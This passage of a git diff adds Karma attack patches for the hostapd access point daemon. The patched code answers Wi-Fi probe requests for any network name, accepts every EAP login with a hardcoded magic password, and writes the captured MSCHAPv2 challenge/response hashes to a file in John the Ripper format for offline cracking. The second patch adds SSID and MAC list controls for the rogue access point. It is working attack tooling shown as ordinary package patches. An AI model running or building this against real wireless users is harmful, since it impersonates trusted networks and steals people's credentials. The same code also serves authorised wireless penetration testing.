++    /* Karma Promiscuous Beacon Response Hack - JoMo-Kun <jmk@foofus.net> */ 
++    if ((!karma_beacon_respond) && (ssid_ie_len != hapd->conf->ssid.ssid_len ||
++	    os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0)) {
+ 		char ssid_txt[33];
+ 		ieee802_11_print_ssid(ssid_txt, ssid_ie, ssid_ie_len);
+ 		hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211,
+diff -urN hostapd-0.7.3.orig/src/eap_server/eap_server.c hostapd-0.7.3/src/eap_server/eap_server.c
+--- hostapd-0.7.3.orig/src/eap_server/eap_server.c	2010-09-07 23:43:39.000000000 +0800
++++ hostapd-0.7.3/src/eap_server/eap_server.c	2011-05-02 15:59:46.791000002 +0800
+@@ -18,6 +18,11 @@
+  * backend_auth configuration variable to TRUE.
+  */
+ 
++#define _GNU_SOURCE                                                                                                                                                                                                               
++#include <stdio.h> 
++
++#include "karma/karma.h"
++
+ #include "includes.h"
+ 
+ #include "common.h"
+@@ -99,24 +104,51 @@
+ int eap_user_get(struct eap_sm *sm, const u8 *identity, size_t identity_len,
+ 		 int phase2)
+ {
+-	struct eap_user *user;
+-
+-	if (sm == NULL || sm->eapol_cb == NULL ||
+-	    sm->eapol_cb->get_eap_user == NULL)
+-		return -1;
+-
+-	eap_user_free(sm->user);
++  struct eap_user *user;
++  char *username = NULL;
++  char *message = NULL;
++	
++  eap_user_free(sm->user);
+ 	sm->user = NULL;
+ 
+-	user = os_zalloc(sizeof(*user));
+-	if (user == NULL)
+-	    return -1;
++  user = os_zalloc(sizeof(*user));
++  if (user == NULL)
++    return -1;
++
++  /* Karma Mode: Accept all requests, regardless of username - JoMo-Kun <jmk@foofus.net> */
++  if (karma_eap_auth)
++  {
++    user->methods[0].vendor = sm->respVendor;
++    user->password = os_zalloc(9);
++    strncpy((char *)user->password, "Cricket8", 8); /* Magic password allows successful authentication */
++    user->password_len = 8;
++
++    if (phase2)
++      user->methods[0].method = EAP_TYPE_MSCHAPV2;
++    else // TODO: what happens if we propose LEAP?
++      user->methods[0].method = EAP_TYPE_PEAP;
++
++    username = os_zalloc(sm->identity_len + 1);
++    strncpy(username, (char *)sm->identity, (size_t)sm->identity_len);
++ 
++    if (asprintf(&message, "Authentication Request - Username: %s Vendor: %d Method: %d", username, sm->respVendor, sm->respVendorMethod) < 0)
++      printf("Error allocating memory for request message.\n");
++
++    karma_logger(0, message);
++    free(message);
++  }
++  else
++  {
++	  if (sm == NULL || sm->eapol_cb == NULL ||
++	    sm->eapol_cb->get_eap_user == NULL)
++  		return -1;
+ 
+-	if (sm->eapol_cb->get_eap_user(sm->eapol_ctx, identity,
+-				       identity_len, phase2, user) != 0) {
+-		eap_user_free(user);
+-		return -1;
+-	}
++	  if (sm->eapol_cb->get_eap_user(sm->eapol_ctx, identity,
++		  		       identity_len, phase2, user) != 0) {
++		  eap_user_free(user);
++		  return -1;
++  	}
++  }
+ 
+ 	sm->user = user;
+ 	sm->user_eap_method_index = 0;
+diff -urN hostapd-0.7.3.orig/src/eap_server/eap_server_mschapv2.c hostapd-0.7.3/src/eap_server/eap_server_mschapv2.c
+--- hostapd-0.7.3.orig/src/eap_server/eap_server_mschapv2.c	2010-09-07 23:43:39.000000000 +0800
++++ hostapd-0.7.3/src/eap_server/eap_server_mschapv2.c	2011-05-02 15:59:46.792000002 +0800
+@@ -12,6 +12,8 @@
+  * See README and COPYING for more details.
+  */
+ 
++#include "karma/karma.h"
++
+ #include "includes.h"
+ 
+ #include "common.h"
+@@ -289,13 +291,15 @@
+ 					  struct wpabuf *respData)
+ {
+ 	struct eap_mschapv2_hdr *resp;
+-	const u8 *pos, *end, *peer_challenge, *nt_response, *name;
++	const u8 *pos, *end, *auth_challenge, *peer_challenge, *nt_response, *name;
+ 	u8 flags;
+ 	size_t len, name_len, i;
+ 	u8 expected[24];
+ 	const u8 *username, *user;
+ 	size_t username_len, user_len;
+ 	int res;
++    char *auth_creds = NULL;
++    int auth_creds_len = 0;
+ 
+ 	pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2, respData,
+ 			       &len);
+@@ -335,6 +339,38 @@
+ 	wpa_printf(MSG_MSGDUMP, "EAP-MSCHAPV2: Flags 0x%x", flags);
+ 	wpa_hexdump_ascii(MSG_MSGDUMP, "EAP-MSCHAPV2: Name", name, name_len);
+ 
++  /* Karma Mode: Log MSCHAPv2 exchange in John format - JoMo-Kun <jmk@foofus.net> */
++  /* user::domain (unused):authenticator challenge:mschapv2 response:peer challenge */
++  if (karma_eap_auth)
++  { 
++    auth_creds_len = sm->identity_len + 3 + 16*2 + 1 + 24*2 + 1 + 16*2;
++    auth_creds = os_malloc(auth_creds_len + 1);
++    memset(auth_creds, 0, auth_creds_len + 1);
++ 
++    strncpy(auth_creds, (char *)sm->identity, sm->identity_len); 
++    sprintf(auth_creds + sm->identity_len, ":::");
++
++    /* Authenticator Challenge */
++    auth_challenge = data->auth_challenge;
++    for (i=0; i<16; i++)
++      sprintf(auth_creds + sm->identity_len + 3 + 2*i, "%2.2X", 0xFF & (int)auth_challenge[i]); 
++  
++    sprintf(auth_creds + sm->identity_len + 3 + 16*2, ":");
++
++    /* MSCHAPv2 Response */
++    for (i=0; i<24; i++)
++      sprintf(auth_creds + sm->identity_len + 3 + 16*2 + 1 + 2*i, "%2.2X", 0xFF & (int)nt_response[i]); 
++
++    sprintf(auth_creds + sm->identity_len + 3 + 16*2 + 1 + 24*2, ":");
++  
++    /* Peer Challenge */ 
++    for (i=0; i<16; i++)
++      sprintf(auth_creds + sm->identity_len + 3 + 16*2 + 1 + 24*2 + 1 + 2*i, "%2.2X", 0xFF & (int)peer_challenge[i]); 
++ 
++    karma_logger(1, auth_creds);
++    free(auth_creds);
++  }
++
+ 	/* MSCHAPv2 does not include optional domain name in the
+ 	 * challenge-response calculation, so remove domain prefix
+ 	 * (if present). */
+diff -urN hostapd-0.7.3.orig/src/karma/karma.c hostapd-0.7.3/src/karma/karma.c
+--- hostapd-0.7.3.orig/src/karma/karma.c	1970-01-01 07:30:00.000000000 +0730
++++ hostapd-0.7.3/src/karma/karma.c	2011-05-02 15:59:46.792000002 +0800
+@@ -0,0 +1,43 @@
++#define _GNU_SOURCE
++#include <stdio.h>
++
++#include "common.h"
++#include "includes.h"
++#include "trace.h"                                                                                                                                                       
++
++#include "karma/karma.h"
++
++/* Karma Mode: Log data related to MSCHAPv2 challenge/response authentication attempts */
++extern void karma_logger(int type, char *message)
++{
++    FILE *logfd;
++    time_t cur_time;
++    struct tm *tm_ptr;
++    char time_buf[256];                                                                                                                                                     
++    /* General: probe requests, username requests */
++    logfd = fopen("./hostapd-karma.txt", "a");
++    if (logfd == NULL) {
++        fprintf(stderr, "[karma] Failed to open log file: ./hostapd-karma.txt\n");
++        logfd = stderr;
++    }
++
++    cur_time = time(NULL);
++    (void) time(&cur_time);
++    tm_ptr = localtime(&cur_time);
++    strftime(time_buf, 256, "%Y-%m-%d %H:%M:%S", tm_ptr);
++    fprintf(logfd, "%s:%s\n", time_buf, message);
++    fprintf(stderr, "[karma] %s:%s\n", time_buf, message);
++    fclose(logfd);
++    
++    /* MSCHAPv2 Challenge/Response */
++    if (type == 1)
++    {
++        logfd = fopen("./hostapd-karma.lc", "a");
++        if (logfd == NULL) {
++            fprintf(stderr, "[karma] Failed to open log file: ./hostapd-karma.lc\n");
++            logfd = stderr;
++        }
++        fprintf(logfd, "%s\n", message);
++        fclose(logfd);
++    }
++}
+diff -urN hostapd-0.7.3.orig/src/karma/karma.h hostapd-0.7.3/src/karma/karma.h
+--- hostapd-0.7.3.orig/src/karma/karma.h	1970-01-01 07:30:00.000000000 +0730
++++ hostapd-0.7.3/src/karma/karma.h	2011-05-02 15:59:46.792000002 +0800
+@@ -0,0 +1,3 @@
++extern int karma_beacon_respond;
++extern int karma_eap_auth;                                                                                                                                                                                                       
++extern void karma_logger(int, char*);
+diff -urN hostapd-0.7.3.orig/src/utils/wpa_debug.c hostapd-0.7.3/src/utils/wpa_debug.c
+--- hostapd-0.7.3.orig/src/utils/wpa_debug.c	2010-09-07 23:43:39.000000000 +0800
++++ hostapd-0.7.3/src/utils/wpa_debug.c	2011-05-02 15:59:46.793000003 +0800
+@@ -22,6 +22,8 @@
+ static int wpa_debug_syslog = 0;
+ #endif /* CONFIG_DEBUG_SYSLOG */
+ 
++/* Karma Mode */                                                                                                                                                                                                                  
++#include "karma/karma.h"
+ 
+ #ifdef CONFIG_DEBUG_FILE
+ static FILE *out_file = NULL;
diff --git a/net-wireless/hostapd/files/hostapd-1.0-karma-0.2.patch b/net-wireless/hostapd/files/hostapd-1.0-karma-0.2.patch
new file mode 100644
index 00000000..d16424d1
--- /dev/null
+++ b/net-wireless/hostapd/files/hostapd-1.0-karma-0.2.patch
@@ -0,0 +1,1199 @@
+diff -Nur hostapd-1.0/hostapd/.config hostapd-1.0-karma/hostapd/.config
+--- hostapd-1.0/hostapd/.config	1970-01-01 01:00:00.000000000 +0100
++++ hostapd-1.0-karma/hostapd/.config	2012-08-06 16:55:02.000000000 +0100
+@@ -0,0 +1,246 @@
++# Example hostapd build time configuration
++#
++# This file lists the configuration options that are used when building the
++# hostapd binary. All lines starting with # are ignored. Configuration option
++# lines must be commented out complete, if they are not to be included, i.e.,
++# just setting VARIABLE=n is not disabling that variable.
++#
++# This file is included in Makefile, so variables like CFLAGS and LIBS can also
++# be modified from here. In most cass, these lines should use += in order not
++# to override previous values of the variables.
++
++# Driver interface for Host AP driver
++CONFIG_DRIVER_HOSTAP=y
++
++# Driver interface for wired authenticator
++#CONFIG_DRIVER_WIRED=y
++
++# Driver interface for madwifi driver
++#CONFIG_DRIVER_MADWIFI=y
++#CFLAGS += -I../../madwifi # change to the madwifi source directory
++
++# Driver interface for drivers using the nl80211 kernel interface
++CONFIG_DRIVER_NL80211=y
++
++# Driver interface for FreeBSD net80211 layer (e.g., Atheros driver)
++#CONFIG_DRIVER_BSD=y
++#CFLAGS += -I/usr/local/include
++#LIBS += -L/usr/local/lib
++#LIBS_p += -L/usr/local/lib
++#LIBS_c += -L/usr/local/lib
++
++# Driver interface for no driver (e.g., RADIUS server only)
++#CONFIG_DRIVER_NONE=y
++
++# IEEE 802.11F/IAPP
++CONFIG_IAPP=y
++
++# WPA2/IEEE 802.11i RSN pre-authentication
++CONFIG_RSN_PREAUTH=y
++
++# PeerKey handshake for Station to Station Link (IEEE 802.11e DLS)
++CONFIG_PEERKEY=y
++
++# IEEE 802.11w (management frame protection)
++# This version is an experimental implementation based on IEEE 802.11w/D1.0
++# draft and is subject to change since the standard has not yet been finalized.
++# Driver support is also needed for IEEE 802.11w.
++#CONFIG_IEEE80211W=y
++
++# Integrated EAP server
++CONFIG_EAP=y
++
++# EAP-MD5 for the integrated EAP server
++CONFIG_EAP_MD5=y
++
++# EAP-TLS for the integrated EAP server
++CONFIG_EAP_TLS=y
++
++# EAP-MSCHAPv2 for the integrated EAP server
++CONFIG_EAP_MSCHAPV2=y
++
++# EAP-PEAP for the integrated EAP server
++CONFIG_EAP_PEAP=y
++
++# EAP-GTC for the integrated EAP server
++CONFIG_EAP_GTC=y
++
++# EAP-TTLS for the integrated EAP server
++CONFIG_EAP_TTLS=y
++
++# EAP-SIM for the integrated EAP server
++#CONFIG_EAP_SIM=y
++
++# EAP-AKA for the integrated EAP server
++#CONFIG_EAP_AKA=y
++
++# EAP-AKA' for the integrated EAP server
++# This requires CONFIG_EAP_AKA to be enabled, too.
++#CONFIG_EAP_AKA_PRIME=y
++
++# EAP-PAX for the integrated EAP server
++#CONFIG_EAP_PAX=y
++
++# EAP-PSK for the integrated EAP server (this is _not_ needed for WPA-PSK)
++#CONFIG_EAP_PSK=y
++
++# EAP-pwd for the integrated EAP server (secure authentication with a password)
++#CONFIG_EAP_PWD=y
++
++# EAP-SAKE for the integrated EAP server
++#CONFIG_EAP_SAKE=y
++
++# EAP-GPSK for the integrated EAP server
++#CONFIG_EAP_GPSK=y
++# Include support for optional SHA256 cipher suite in EAP-GPSK
++#CONFIG_EAP_GPSK_SHA256=y
++
++# EAP-FAST for the integrated EAP server
++# Note: Default OpenSSL package does not include support for all the
++# functionality needed for EAP-FAST. If EAP-FAST is enabled with OpenSSL,
++# the OpenSSL library must be patched (openssl-0.9.9-session-ticket.patch)
++# to add the needed functions.
++#CONFIG_EAP_FAST=y
++
++# Wi-Fi Protected Setup (WPS)
++#CONFIG_WPS=y
++# Enable WSC 2.0 support
++#CONFIG_WPS2=y
++# Enable UPnP support for external WPS Registrars
++#CONFIG_WPS_UPNP=y
++
++# EAP-IKEv2
++#CONFIG_EAP_IKEV2=y
++
++# Trusted Network Connect (EAP-TNC)
++#CONFIG_EAP_TNC=y
++
++# PKCS#12 (PFX) support (used to read private key and certificate file from
++# a file that usually has extension .p12 or .pfx)
++CONFIG_PKCS12=y
++
++# RADIUS authentication server. This provides access to the integrated EAP
++# server from external hosts using RADIUS.
++#CONFIG_RADIUS_SERVER=y
++
++# Build IPv6 support for RADIUS operations
++CONFIG_IPV6=y
++
++# IEEE Std 802.11r-2008 (Fast BSS Transition)
++#CONFIG_IEEE80211R=y
++
++# Use the hostapd's IEEE 802.11 authentication (ACL), but without
++# the IEEE 802.11 Management capability (e.g., madwifi or FreeBSD/net80211)
++#CONFIG_DRIVER_RADIUS_ACL=y
++
++# IEEE 802.11n (High Throughput) support
++#CONFIG_IEEE80211N=y
++
++# Remove debugging code that is printing out debug messages to stdout.
++# This can be used to reduce the size of the hostapd considerably if debugging
++# code is not needed.
++#CONFIG_NO_STDOUT_DEBUG=y
++
++# Add support for writing debug log to a file: -f /tmp/hostapd.log
++# Disabled by default.
++CONFIG_DEBUG_FILE=y
++
++# Remove support for RADIUS accounting
++#CONFIG_NO_ACCOUNTING=y
++
++# Remove support for RADIUS
++#CONFIG_NO_RADIUS=y
++
++# Remove support for VLANs
++#CONFIG_NO_VLAN=y
++
++# Enable support for fully dynamic VLANs. This enables hostapd to
++# automatically create bridge and VLAN interfaces if necessary.
++#CONFIG_FULL_DYNAMIC_VLAN=y
++
++# Remove support for dumping state into a file on SIGUSR1 signal
++# This can be used to reduce binary size at the cost of disabling a debugging
++# option.
++#CONFIG_NO_DUMP_STATE=y
++
++# Enable tracing code for developer debugging
++# This tracks use of memory allocations and other registrations and reports
++# incorrect use with a backtrace of call (or allocation) location.
++#CONFIG_WPA_TRACE=y
++# For BSD, comment out these.
++#LIBS += -lexecinfo
++#LIBS_p += -lexecinfo
++#LIBS_c += -lexecinfo
++
++# Use libbfd to get more details for developer debugging
++# This enables use of libbfd to get more detailed symbols for the backtraces
++# generated by CONFIG_WPA_TRACE=y.
++#CONFIG_WPA_TRACE_BFD=y
++# For BSD, comment out these.
++#LIBS += -lbfd -liberty -lz
++#LIBS_p += -lbfd -liberty -lz
++#LIBS_c += -lbfd -liberty -lz
++
++# hostapd depends on strong random number generation being available from the
++# operating system. os_get_random() function is used to fetch random data when
++# needed, e.g., for key generation. On Linux and BSD systems, this works by
++# reading /dev/urandom. It should be noted that the OS entropy pool needs to be
++# properly initialized before hostapd is started. This is important especially
++# on embedded devices that do not have a hardware random number generator and
++# may by default start up with minimal entropy available for random number
++# generation.
++#
++# As a safety net, hostapd is by default trying to internally collect
++# additional entropy for generating random data to mix in with the data
++# fetched from the OS. This by itself is not considered to be very strong, but
++# it may help in cases where the system pool is not initialized properly.
++# However, it is very strongly recommended that the system pool is initialized
++# with enough entropy either by using hardware assisted random number
++# generator or by storing state over device reboots.
++#
++# hostapd can be configured to maintain its own entropy store over restarts to
++# enhance random number generation. This is not perfect, but it is much more
++# secure than using the same sequence of random numbers after every reboot.
++# This can be enabled with -e<entropy file> command line option. The specified
++# file needs to be readable and writable by hostapd.
++#
++# If the os_get_random() is known to provide strong random data (e.g., on
++# Linux/BSD, the board in question is known to have reliable source of random
++# data from /dev/urandom), the internal hostapd random pool can be disabled.
++# This will save some in binary size and CPU use. However, this should only be
++# considered for builds that are known to be used on devices that meet the
++# requirements described above.
++#CONFIG_NO_RANDOM_POOL=y
++
++# Select TLS implementation
++# openssl = OpenSSL (default)
++# gnutls = GnuTLS
++# internal = Internal TLSv1 implementation (experimental)
++# none = Empty template
++#CONFIG_TLS=openssl
++
++# TLS-based EAP methods require at least TLS v1.0. Newer version of TLS (v1.1)
++# can be enabled to get a stronger construction of messages when block ciphers
++# are used.
++#CONFIG_TLSV11=y
++
++# If CONFIG_TLS=internal is used, additional library and include paths are
++# needed for LibTomMath. Alternatively, an integrated, minimal version of
++# LibTomMath can be used. See beginning of libtommath.c for details on benefits
++# and drawbacks of this option.
++#CONFIG_INTERNAL_LIBTOMMATH=y
++#ifndef CONFIG_INTERNAL_LIBTOMMATH
++#LTM_PATH=/usr/src/libtommath-0.39
++#CFLAGS += -I$(LTM_PATH)
++#LIBS += -L$(LTM_PATH)
++#LIBS_p += -L$(LTM_PATH)
++#endif
++# At the cost of about 4 kB of additional binary size, the internal LibTomMath
++# can be configured to include faster routines for exptmod, sqr, and div to
++# speed up DH and RSA calculation considerably
++#CONFIG_INTERNAL_LIBTOMMATH_FAST=y
++
++# Interworking (IEEE 802.11u)
++# This can be used to enable functionality to improve interworking with
++# external networks.
++#CONFIG_INTERWORKING=y
+diff -Nur hostapd-1.0/hostapd/config_file.c hostapd-1.0-karma/hostapd/config_file.c
+--- hostapd-1.0/hostapd/config_file.c	2012-05-09 22:56:09.000000000 +0100
++++ hostapd-1.0-karma/hostapd/config_file.c	2012-08-06 12:20:55.000000000 +0100
+@@ -122,6 +122,63 @@
+ }
+ 
+ 
++// KARMA
++static int hostapd_config_read_karma_ssid(const char *fname, struct hostapd_config *conf) {
++	FILE *f;
++	char buf[33], *pos;
++	int line = 0;
++	karma_ssid_t *karma_ssid;
++
++	if (!fname)
++		return 0;
++
++	f = fopen(fname, "r");
++	if (!f) {
++		wpa_printf(MSG_ERROR, "MAC list file '%s' not found.", fname);
++		return -1;
++	}
++
++	while (fgets(buf, sizeof(buf), f)) {
++		line++;
++
++		if (buf[0] == '#')
++			continue;
++		pos = buf;
++		while (*pos != '\0') {
++			if (*pos == '\n') {
++				*pos = '\0';
++				break;
++			}
++			pos++;
++		}
++		if (buf[0] == '\0')
++			continue;
++
++		wpa_printf(MSG_DEBUG, "Found ssid in file: %s", buf);
++
++		if (strlen (buf) > HOSTAPD_MAX_SSID_LEN) {
++			wpa_printf(MSG_ERROR, "ESSID too long '%s' at "
++				   "line %d in '%s'", buf, line, fname);
++			fclose(f);
++			return -1;
++		}
++
++		karma_ssid = os_malloc (sizeof (karma_ssid_t));
++		karma_ssid->length = strlen(buf);
++		karma_ssid->ssid = os_malloc (karma_ssid->length + 1);
++		os_memcpy(karma_ssid->ssid, buf, strlen(buf) + 1);
++		karma_ssid->next = conf->karma_list;
++		conf->karma_list = karma_ssid;
++		wpa_printf(MSG_DEBUG, "CTRL_IFACE KARMA ADDED SUCCESSFULLY");
++	}
++
++	fclose(f);
++
++	return 0;
++}
++
++// END KARMA
++
+ static int hostapd_config_read_maclist(const char *fname,
+ 				       struct mac_acl_entry **acl, int *num)
+ {
+@@ -1216,6 +1273,17 @@
+ 
+ 	bss = conf->last_bss = conf->bss;
+ 
++	// KARMA
++	// default Karma to off
++	conf->enable_karma = 0;
++	
++	// default to black list so everything is accepted
++	conf->karma_black_white = 1;
++
++	// Nothing in the black/white list to start with
++	conf->karma_list = NULL;
++	// KARMA END
++
+ 	while (fgets(buf, sizeof(buf), f)) {
+ 		bss = conf->last_bss;
+ 		line++;
+@@ -1279,6 +1347,30 @@
+ 			bss->logger_syslog = atoi(pos);
+ 		} else if (os_strcmp(buf, "logger_stdout") == 0) {
+ 			bss->logger_stdout = atoi(pos);
++		// KARMA START
++		} else if (os_strcmp(buf, "karma_ssid_file") == 0) {
++			if (hostapd_config_read_karma_ssid (pos, conf))
++			{
++				wpa_printf(MSG_ERROR, "Line %d: Failed to "
++					   "read karma_ssid_file '%s'",
++					   line, pos);
++				errors++;
++			}
++		} else if (os_strcmp(buf, "karma_black_white") == 0) {
++			int val = atoi(pos);
++			conf->karma_black_white = (val != 0);
++			if (conf->karma_black_white == 0) {
++				wpa_printf(MSG_DEBUG, "KARMA: White list mode");
++			} else {
++				wpa_printf(MSG_DEBUG, "KARMA: Black list mode");
++			}
++		} else if (os_strcmp(buf, "enable_karma") == 0) {
++			int val = atoi(pos);
++			conf->enable_karma = (val != 0);
++			if (conf->enable_karma) {
++				wpa_printf(MSG_DEBUG, "KARMA: Enabled");
++			}
++		// KARMA END
+ 		} else if (os_strcmp(buf, "dump_file") == 0) {
+ 			bss->dump_log_name = os_strdup(pos);
+ 		} else if (os_strcmp(buf, "ssid") == 0) {
+diff -Nur hostapd-1.0/hostapd/ctrl_iface.c hostapd-1.0-karma/hostapd/ctrl_iface.c
+--- hostapd-1.0/hostapd/ctrl_iface.c	2012-05-09 22:56:09.000000000 +0100
++++ hostapd-1.0-karma/hostapd/ctrl_iface.c	2012-08-06 14:38:25.000000000 +0100
+@@ -39,6 +39,7 @@
+ #include "wps/wps_defs.h"
+ #include "wps/wps.h"
+ #include "ctrl_iface.h"
++#include "ap/beacon.h"
+ 
+ 
+ struct wpa_ctrl_dst {
+@@ -267,6 +268,170 @@
+ 	return 0;
+ }
+ 
++// KARMA START
++
++static int hostapd_ctrl_iface_karma_get_black_white (struct hostapd_data *hapd)
++{
++	wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE BLACK/WHITE QUERY (%i) x", hapd->iconf->karma_black_white);
++	return hapd->iconf->karma_black_white;
++}
++static int hostapd_ctrl_iface_karma_get_state (struct hostapd_data *hapd)
++{
++	wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE STATUS QUERY");
++	return hapd->iconf->enable_karma;
++}
++static int hostapd_ctrl_iface_karma_del_ssid (struct hostapd_data *hapd,
++					     const char *ssid) {
++	wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE DEL SSID %s", ssid);
++
++	karma_ssid_t *karma_ssid;
++	karma_ssid_t *previous_ssid;
++
++	if (strlen(ssid) > HOSTAPD_MAX_SSID_LEN || strlen(ssid) == 0) {
++		return -1;
++	}
++
++	karma_ssid = hapd->iconf->karma_list;
++	previous_ssid = NULL;
++
++	while (karma_ssid != NULL) {
++//		wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE Checking ssid %s against %s", karma_ssid->ssid, ssid);
++
++		if (strncmp(karma_ssid->ssid, ssid, karma_ssid->length) == 0) {
++			wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE Match found, deleting and returning early");
++			if (previous_ssid == NULL) {
++				hapd->iconf->karma_list = karma_ssid->next;
++			} else {
++				previous_ssid->next = karma_ssid->next;
++			}
++			os_free (karma_ssid);
++			return 0;
++		}
++		previous_ssid = karma_ssid;
++		karma_ssid = karma_ssid->next;
++	}
++	wpa_printf(MSG_DEBUG, "KARMA SCTRL_IFACE No match found");
++	return 0;
++}
++// Used in the hostapd_ctrl_iface_karma_add_mac function to sort the MAC ACL list
++static int hostapd_acl_comp(const void *a, const void *b)
++{
++	const struct mac_acl_entry *aa = a;
++	const struct mac_acl_entry *bb = b;
++	return os_memcmp(aa->addr, bb->addr, sizeof(macaddr));
++}
++
++static int hostapd_ctrl_iface_karma_add_mac (struct hostapd_data *hapd,
++					     const char *mac, int black) {
++
++	u8 addr[ETH_ALEN];
++	struct mac_acl_entry *newacl;
++	struct hostapd_bss_config *bss;
++	char buf[128];
++	struct mac_acl_entry **acl;
++	int *num;
++	// for now we don't care about VLANs so just hardcoding 0
++	int vlan_id = 0;
++
++	if (hwaddr_aton(mac, addr)) {
++		wpa_printf(MSG_ERROR, "Invalid MAC address '%s'", buf);
++		return -1;
++	}
++
++	bss = hapd->iconf->last_bss;
++	if (black) {
++		hostapd_ctrl_iface_deauthenticate(hapd, buf);
++		num = &bss->num_deny_mac;
++		acl = &bss->deny_mac;
++	} else {
++		num = &bss->num_accept_mac;
++		acl = &bss->accept_mac;
++	}
++
++	newacl = os_realloc(*acl, (*num + 1) * sizeof(**acl));
++	if (newacl == NULL) {
++		wpa_printf(MSG_ERROR, "MAC list reallocation failed");
++		return -1;
++	}
++
++	*acl = newacl;
++	os_memcpy((*acl)[*num].addr, addr, ETH_ALEN);
++	(*acl)[*num].vlan_id = vlan_id;
++	(*num)++;
++
++	qsort(*acl, *num, sizeof(**acl), hostapd_acl_comp);
++
++	//num = &bss->num_deny_mac;
++	wpa_printf(MSG_DEBUG, "There are now %i MAC addresses in the list", *num);
++
++	return 0;
++}
++
++static int hostapd_ctrl_iface_karma_add_ssid (struct hostapd_data *hapd,
++					     const char *ssid) {
++	wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE ADD SSID %s", ssid);
++
++	karma_ssid_t *karma_ssid;
++
++	if (strlen(ssid) > HOSTAPD_MAX_SSID_LEN || strlen(ssid) == 0) {
++		return -1;
++	}
++
++	karma_ssid = os_malloc (sizeof (karma_ssid_t));
++	karma_ssid->length = strlen(ssid);
++	karma_ssid->ssid = os_malloc (karma_ssid->length + 1);
++	os_memcpy(karma_ssid->ssid, ssid, strlen(ssid) + 1);
++	karma_ssid->next = hapd->iconf->karma_list;
++	hapd->iconf->karma_list = karma_ssid;
++	wpa_printf(MSG_DEBUG, "CTRL_IFACE KARMA ADDED SUCCESSFULLY");
++	return 0;
++}
++
++static int hostapd_ctrl_iface_karma_change_ssid (struct hostapd_data *hapd,
++					     const char *ssid) {
++	wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE CHANGE SSID %s", ssid);
++
++	if (strlen(ssid) > HOSTAPD_MAX_SSID_LEN || strlen(ssid) == 0) {
++		return -1;
++	}
++
++	hapd->conf->ssid.ssid_len = strlen(ssid);
++	// Not sure if the +1 is needed here or not
++	os_memcpy(hapd->conf->ssid.ssid, ssid, strlen(ssid) + 1);
++	ieee802_11_set_beacon(hapd);
++	wpa_printf(MSG_DEBUG, "CTRL_IFACE KARMA Default SSID Changed");
++	return 0;
++}
++
++static int hostapd_ctrl_iface_karma_black_white (struct hostapd_data *hapd,
++				       int status)
++{
++	// 0 = white
++	if (status == 0) {
++		wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE White List");
++	} else {
++		wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE Black List");
++	}
++	hapd->iconf->karma_black_white = status;
++	wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE list passed in %i value  %i", status,  hapd->iconf->karma_black_white );
++
++	return 0;
++}
++
++static int hostapd_ctrl_iface_karma_enable_disable (struct hostapd_data *hapd,
++				       int status)
++{
++	if (status) {
++		wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE ENABLED");
++	} else {
++		wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE DISABLED");
++	}
++	hapd->iconf->enable_karma = status;
++
++	return 0;
++}
++
++// KARMA END
+ 
+ static int hostapd_ctrl_iface_disassociate(struct hostapd_data *hapd,
+ 					   const char *txtaddr)
+@@ -942,6 +1107,80 @@
+ 	} else if (os_strncmp(buf, "GET ", 4) == 0) {
+ 		reply_len = hostapd_ctrl_iface_get(hapd, buf + 4, reply,
+ 						   reply_size);
++// KARMA
++	} else if (os_strcmp(buf, "KARMA_BLACK_WHITE") == 0) {
++		if (hostapd_ctrl_iface_karma_get_black_white(hapd)) {
++			os_memcpy(reply, "BLACK\n", 6);
++			reply_len = 6;
++		} else {
++			os_memcpy(reply, "WHITE\n", 6);
++			reply_len = 6;
++		}
++	} else if (os_strcmp(buf, "KARMA_STATE") == 0) {
++		if (hostapd_ctrl_iface_karma_get_state(hapd)) {
++			os_memcpy(reply, "ENABLED\n", 8);
++			reply_len = 8;
++		} else {
++			os_memcpy(reply, "DISABLED\n", 9);
++			reply_len = 9;
++		}
++	} else if (os_strncmp(buf, "KARMA_DEL_SSID ", 15) == 0) {
++		if (hostapd_ctrl_iface_karma_del_ssid (hapd, buf + 15)) {
++			reply_len = -1;
++		} else {
++			os_memcpy(reply, "DELETED\n", 8);
++			reply_len = 8;
++		}
++	} else if (os_strncmp(buf, "KARMA_ADD_SSID ", 15) == 0) {
++		if (hostapd_ctrl_iface_karma_add_ssid (hapd, buf + 15)) {
++			reply_len = -1;
++		} else {
++			os_memcpy(reply, "ADDED\n", 6);
++			reply_len = 6;
++		}
++	} else if (os_strncmp(buf, "KARMA_ADD_WHITE_MAC ", 20) == 0) {
++		if (hostapd_ctrl_iface_karma_add_mac (hapd, buf + 20, 0)) {
++			reply_len = -1;
++		} else {
++			os_memcpy(reply, "ADDED\n", 6);
++			reply_len = 6;
++		}
++	} else if (os_strncmp(buf, "KARMA_ADD_BLACK_MAC ", 20) == 0) {
++		if (hostapd_ctrl_iface_karma_add_mac (hapd, buf + 20, 1)) {
++			reply_len = -1;
++		} else {
++			os_memcpy(reply, "ADDED\n", 6);
++			reply_len = 6;
++		}
++	} else if (os_strcmp(buf, "KARMA_GET_SSID") == 0) {
++		wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE GET SSID");
++		size_t len;
++
++		// +2 for the new line and the null byte terminator
++		len = hapd->conf->ssid.ssid_len + 2;
++		os_snprintf(reply, len, "%s\n", hapd->conf->ssid.ssid);
++		reply_len = len;
++
++	} else if (os_strncmp(buf, "KARMA_CHANGE_SSID ", 18) == 0) {
++		if (hostapd_ctrl_iface_karma_change_ssid (hapd, buf + 18)) {
++			reply_len = -1;
++		} else {
++			os_memcpy(reply, "CHANGED\n", 8);
++			reply_len = 8;
++		}
++	} else if (os_strcmp(buf, "KARMA_WHITE") == 0) {
++		if (hostapd_ctrl_iface_karma_black_white(hapd, 0))
++			reply_len = -1;
